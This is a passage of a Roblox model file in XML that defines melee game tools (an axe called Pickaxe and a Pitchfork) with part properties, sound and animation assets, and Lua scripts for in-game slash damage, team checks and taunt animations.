UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.7)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5293">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>-1.10000002</Z>
					<R00>0.00999951363</R00>
					<R01>-5.96046448e-008</R01>
					<R02>0.999949992</R02>
					<R10>0.999949992</R10>
					<R11>5.96046448e-008</R11>
					<R12>-0.00999951363</R12>
					<R20>-5.96046448e-008</R20>
					<R21>1</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Pickaxe</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126896575</url></Content>
				<string name="ToolTip">Pickaxe</string>
			</Properties>
			<Item class="Part" referent="RBX5294">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>30.5169868</X>
						<Y>18.2299995</Y>
						<Z>29.9090004</Z>
						<R00>-0.413089752</R00>
						<R01>-0.835636854</R01>
						<R02>-0.362033397</R02>
						<R10>-0.105730385</R10>
						<R11>-0.350842237</R11>
						<R12>0.930446684</R12>
						<R20>-0.904532075</R20>
						<R21>0.422635734</R21>
						<R22>0.0565769672</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1.60000014</X>
						<Y>0.200000003</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5295">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5296">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5297">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5298">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5299">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5300">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5301">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5302">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5303">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5304">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5305">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5306">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5307">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5308">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5309">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5310">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5311">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5312">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5313">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5314">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5315">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5316">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5317">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5318">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=22147051</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.5</X>
							<Y>1.5</Y>
							<Z>1.5</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5319">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5320">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5321">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5322">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5323">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5324">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5325">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5326">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5327">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5328">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5329">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5330">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5331">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX5332">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5333">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5334">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5335">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5336">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5337">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349007845</R00>
						<R01>-0.166666716</R01>
						<R02>0.985395551</R02>
						<R10>-2.23517418e-007</R10>
						<R11>0.985996127</R11>
						<R12>0.166768312</R12>
						<R20>-0.99939096</R20>
						<R21>0.00582009554</R21>
						<R22>-0.0344121456</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5338">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5339">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=18
swingdamage=28
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.8)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5340">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0.800000012</Y>
					<Z>-0.100000001</Z>
					<R00>0.999949992</R00>
					<R01>-0.00999950059</R01>
					<R02>0</R02>
					<R10>-0.00999950059</R10>
					<R11>-0.999949932</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-0.999999881</R22>
				</CoordinateFrame>
				<string name="Name">Pitchfork</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856803</url></Content>
				<string name="ToolTip">Pitchfork</string>
			</Properties>
			<Item class="Part" referent="RBX5341">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>20.6400013</X>
						<Y>88.0700073</Y>
						<Z>30.4900017</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
